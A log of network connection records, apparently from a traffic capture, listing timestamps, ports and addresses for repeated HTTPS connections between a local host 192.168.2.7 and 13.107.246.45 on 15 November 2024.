Nov 15, 2024 13:18:59.245434046 CET	443	50008	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.245515108 CET	443	50008	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.245603085 CET	50008	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.314336061 CET	50008	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.314353943 CET	443	50008	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.314382076 CET	50008	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.314387083 CET	443	50008	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.318254948 CET	50012	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.318325996 CET	443	50012	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.318409920 CET	50012	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.318581104 CET	50012	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.318613052 CET	443	50012	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.675885916 CET	443	50009	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.676461935 CET	50009	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.676501036 CET	443	50009	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.677104950 CET	50009	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.677114964 CET	443	50009	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.742983103 CET	443	50000	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.743537903 CET	50000	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.743550062 CET	443	50000	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.744278908 CET	50000	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.744282961 CET	443	50000	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.749469995 CET	443	50010	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.749833107 CET	50010	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.749859095 CET	443	50010	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.750200033 CET	50010	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.750205040 CET	443	50010	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.804786921 CET	443	50009	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.804923058 CET	443	50009	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.804966927 CET	443	50009	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.805006027 CET	50009	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.805052042 CET	50009	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.805259943 CET	50009	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.805293083 CET	443	50009	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.805341959 CET	50009	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.805347919 CET	443	50009	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.809524059 CET	50013	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.809571981 CET	443	50013	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.809698105 CET	50013	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.809900999 CET	50013	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.809916019 CET	443	50013	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.835402966 CET	443	50011	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.835979939 CET	50011	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.836011887 CET	443	50011	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.836445093 CET	50011	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.836451054 CET	443	50011	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.872086048 CET	443	50000	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.872152090 CET	443	50000	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.872337103 CET	50000	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.872519970 CET	50000	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.872531891 CET	443	50000	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.872540951 CET	50000	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.872545004 CET	443	50000	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.875447989 CET	50014	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.875507116 CET	443	50014	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.875592947 CET	50014	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.875736952 CET	50014	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.875757933 CET	443	50014	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.881472111 CET	443	50010	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.881578922 CET	443	50010	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.881633997 CET	50010	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.881763935 CET	50010	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.881777048 CET	443	50010	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.881789923 CET	50010	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.881793976 CET	443	50010	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.884681940 CET	50015	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.884768963 CET	443	50015	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.884879112 CET	50015	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.885029078 CET	50015	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.885066032 CET	443	50015	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.965382099 CET	443	50011	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.965707064 CET	443	50011	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.965785980 CET	50011	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.966598988 CET	50011	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.966619015 CET	443	50011	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.966629028 CET	50011	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.966634989 CET	443	50011	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.970372915 CET	50016	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.970391035 CET	443	50016	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:59.970458031 CET	50016	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.970668077 CET	50016	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:59.970676899 CET	443	50016	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.070888042 CET	443	50012	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.071576118 CET	50012	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.071655989 CET	443	50012	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.072082996 CET	50012	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.072098970 CET	443	50012	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.203819036 CET	443	50012	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.203851938 CET	443	50012	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.203903913 CET	443	50012	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.204061031 CET	50012	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.204061031 CET	50012	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.204305887 CET	50012	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.204330921 CET	443	50012	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.204344988 CET	50012	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.204354048 CET	443	50012	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.207760096 CET	50017	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.207823038 CET	443	50017	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.207952976 CET	50017	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.208168983 CET	50017	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.208184958 CET	443	50017	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.557780981 CET	443	50013	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.562274933 CET	50013	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.562362909 CET	443	50013	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.562798977 CET	50013	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.562813997 CET	443	50013	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.629534960 CET	443	50014	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.630688906 CET	443	50015	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.644268990 CET	50014	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.644304037 CET	50015	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.644315958 CET	443	50014	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.644364119 CET	443	50015	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.644854069 CET	50014	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.644866943 CET	50015	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.644877911 CET	443	50014	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.644881010 CET	443	50015	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.690704107 CET	443	50013	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.691088915 CET	443	50013	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.691284895 CET	50013	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.691371918 CET	50013	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.691371918 CET	50013	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.691416979 CET	443	50013	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.691450119 CET	443	50013	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.694632053 CET	50018	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.694664001 CET	443	50018	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.694760084 CET	50018	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.694972038 CET	50018	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.694982052 CET	443	50018	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.704358101 CET	443	50016	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.705075979 CET	50016	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.705087900 CET	443	50016	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.705602884 CET	50016	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.705606937 CET	443	50016	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.774343967 CET	443	50014	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.774378061 CET	443	50014	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.774457932 CET	443	50014	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.774499893 CET	50014	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.774528980 CET	443	50015	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.774573088 CET	50014	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.774780035 CET	443	50015	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.774851084 CET	50015	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.774894953 CET	50014	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.774940014 CET	443	50014	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.774969101 CET	50014	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.774983883 CET	443	50014	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.775015116 CET	50015	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.775015116 CET	50015	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.775037050 CET	443	50015	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.775058031 CET	443	50015	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.778795004 CET	50019	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.778844118 CET	443	50019	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.778922081 CET	50019	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.779139042 CET	50019	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.779151917 CET	443	50019	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.779167891 CET	50020	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.779206991 CET	443	50020	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.779262066 CET	50020	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.779447079 CET	50020	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.779463053 CET	443	50020	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.833947897 CET	443	50016	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.834170103 CET	443	50016	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.834448099 CET	50016	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.836112976 CET	50016	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.836112976 CET	50016	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.836124897 CET	443	50016	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.836133957 CET	443	50016	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.838783979 CET	50021	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.838831902 CET	443	50021	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.838932037 CET	50021	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.839124918 CET	50021	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.839139938 CET	443	50021	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.958697081 CET	443	50017	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.966042042 CET	50017	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.966068029 CET	443	50017	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:00.966842890 CET	50017	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:00.966847897 CET	443	50017	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.094110966 CET	443	50017	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.094141960 CET	443	50017	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.094188929 CET	443	50017	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.094208956 CET	50017	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.094244957 CET	50017	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.094459057 CET	50017	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.094475985 CET	443	50017	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.094504118 CET	50017	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.094515085 CET	443	50017	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.097423077 CET	50022	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.097472906 CET	443	50022	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.097615957 CET	50022	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.097764969 CET	50022	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.097785950 CET	443	50022	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.434428930 CET	443	50018	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.438163042 CET	50018	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.438180923 CET	443	50018	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.438711882 CET	50018	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.438723087 CET	443	50018	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.508686066 CET	443	50019	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.509398937 CET	50019	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.509433031 CET	443	50019	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.509857893 CET	50019	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.509865046 CET	443	50019	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.521265984 CET	443	50020	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.521780014 CET	50020	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.521800995 CET	443	50020	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.522286892 CET	50020	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.522293091 CET	443	50020	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.564665079 CET	443	50018	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.564943075 CET	443	50018	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.565009117 CET	50018	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.565042019 CET	50018	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.565057993 CET	443	50018	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.565068960 CET	50018	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.565073967 CET	443	50018	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.567964077 CET	50023	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.567996025 CET	443	50023	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.568061113 CET	50023	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.568207026 CET	50023	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.568217039 CET	443	50023	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.569760084 CET	443	50021	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.570307970 CET	50021	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.570327044 CET	443	50021	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.570842028 CET	50021	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.570847988 CET	443	50021	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.638304949 CET	443	50019	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.638334990 CET	443	50019	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.638375998 CET	50019	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.638380051 CET	443	50019	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.638423920 CET	50019	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.643625021 CET	50019	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.643646955 CET	443	50019	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.643657923 CET	50019	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.643662930 CET	443	50019	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.646882057 CET	50024	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.646919012 CET	443	50024	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.646996975 CET	50024	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.647478104 CET	50024	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.647491932 CET	443	50024	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.653029919 CET	443	50020	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.653460026 CET	443	50020	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.653521061 CET	50020	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.653856993 CET	50020	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.653873920 CET	443	50020	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.653888941 CET	50020	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.653894901 CET	443	50020	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.662530899 CET	50025	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.662585974 CET	443	50025	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.662657976 CET	50025	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.663184881 CET	50025	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.663199902 CET	443	50025	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.698251009 CET	443	50021	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.698359966 CET	443	50021	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.698415041 CET	50021	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.707776070 CET	50021	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.707799911 CET	443	50021	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.707829952 CET	50021	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.707837105 CET	443	50021	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.713105917 CET	50026	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.713141918 CET	443	50026	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.713206053 CET	50026	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.713545084 CET	50026	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.713557005 CET	443	50026	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.838511944 CET	443	50022	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.874727011 CET	50022	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.874771118 CET	443	50022	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:01.875251055 CET	50022	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:01.875267029 CET	443	50022	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.001735926 CET	443	50022	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.001766920 CET	443	50022	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.001816988 CET	443	50022	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.001924038 CET	50022	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.036562920 CET	50022	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.036595106 CET	443	50022	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.036621094 CET	50022	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.036629915 CET	443	50022	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.102231026 CET	50027	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.102283001 CET	443	50027	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.102355957 CET	50027	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.103032112 CET	50027	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.103044987 CET	443	50027	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.305305958 CET	443	50023	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.305826902 CET	50023	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.305855989 CET	443	50023	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.306313992 CET	50023	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.306320906 CET	443	50023	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.389812946 CET	443	50024	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.390467882 CET	50024	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.390552044 CET	443	50024	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.390959978 CET	50024	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.390975952 CET	443	50024	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.397670984 CET	443	50025	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.398025990 CET	50025	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.398089886 CET	443	50025	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.398302078 CET	50025	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.398305893 CET	443	50025	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.436202049 CET	443	50023	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.436284065 CET	443	50023	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.436367989 CET	50023	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.436594009 CET	50023	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.436611891 CET	443	50023	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.436631918 CET	50023	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.436638117 CET	443	50023	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.446851015 CET	50028	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.446944952 CET	443	50028	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.447060108 CET	50028	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.447545052 CET	50028	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.447592974 CET	443	50028	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.450746059 CET	443	50026	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.451420069 CET	50026	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.451451063 CET	443	50026	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.451930046 CET	50026	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.451941967 CET	443	50026	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.521168947 CET	443	50024	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.521380901 CET	443	50024	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.521476984 CET	50024	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.521693945 CET	50024	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.521729946 CET	443	50024	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.521758080 CET	50024	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.521771908 CET	443	50024	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.525902033 CET	50029	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.525990963 CET	443	50029	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.526084900 CET	50029	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.526233912 CET	50029	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.526271105 CET	443	50029	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.527484894 CET	443	50025	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.527637959 CET	443	50025	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.527698994 CET	50025	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.527811050 CET	50025	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.527826071 CET	443	50025	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.527834892 CET	50025	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.527838945 CET	443	50025	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.530280113 CET	50030	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.530369043 CET	443	50030	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.530472994 CET	50030	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.530646086 CET	50030	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.530683994 CET	443	50030	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.580688000 CET	443	50026	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.580729961 CET	443	50026	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.580794096 CET	443	50026	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:02.580835104 CET	50026	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.580878019 CET	50026	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:02.581199884 CET	50026	443	192.168.2.7	13.107.246.45
